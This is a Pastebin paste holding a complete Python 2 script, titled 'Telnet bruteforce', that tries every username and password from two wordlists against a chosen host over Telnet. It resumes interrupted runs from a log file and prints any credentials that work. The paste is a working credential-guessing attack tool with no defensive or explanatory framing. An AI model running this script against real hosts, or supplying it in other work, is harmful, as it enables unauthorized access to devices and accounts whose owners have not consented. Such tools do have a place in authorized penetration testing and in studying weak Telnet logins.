Advertisement
Guest User

Untitled

a guest
Jun 9th, 2016
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. """
  2. Telnet bruteforce
  3. Author: Juan Escobar
  4. Twitter: @itsecurityco
  5. """
  6.  
  7. import sys
  8. import os
  9. import telnetlib
  10.  
  11. # Modified according to requirements
  12. USERNAME_LABEL = "Username:"
  13. PASSWORD_LABEL = "Password:"
  14. ERROR_RESPONSE = "Error: Failed to authenticate."
  15. # Modified according to requirements
  16. log_file = "telnet.log"
  17.  
  18. usage = "Usage: python %s host username_wordlist password_wordlist" % sys.argv[0]
  19.  
  20. if len(sys.argv) < 4:
  21. print usage
  22. exit(0)
  23.  
  24. host = sys.argv[1]
  25.  
  26. handle = open(sys.argv[2], 'r')
  27. users = handle.read().splitlines()
  28. handle.close()
  29.  
  30. handle = open(sys.argv[3], 'r')
  31. passwords = handle.read().splitlines()
  32. handle.close()
  33.  
  34. session = False
  35. if os.path.isfile(log_file):
  36. session = True
  37. handle = open(log_file, 'r')
  38. session_last = handle.read().strip().split(":")
  39. handle.close()
  40. os.remove(log_file)
  41.  
  42. print "Telnet bruteforce"
  43.  
  44. for password in passwords:
  45. for user in users:
  46. if session == True:
  47. if session_last[0] == user and session_last[1] == password:
  48. session = False
  49. else:
  50. continue
  51. try:
  52. tn = telnetlib.Telnet(host)
  53. tn.read_until(USERNAME_LABEL)
  54. tn.write(user + "\n")
  55. tn.read_until(PASSWORD_LABEL)
  56. tn.write(password + "\n")
  57. print "[*] Trying '%s:%s' ..." % (user, password)
  58. error = tn.read_until(ERROR_RESPONSE)
  59. if error.find(ERROR_RESPONSE) != -1:
  60. print error
  61. pass
  62. else:
  63. print "[!] Credentials found: %s:%s" % (user, password)
  64. exit(0)
  65. print tn.close()
  66. except:
  67. handle = open(log_file, "w")
  68. handle.write("%s:%s" % (user, password))
  69. handle.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement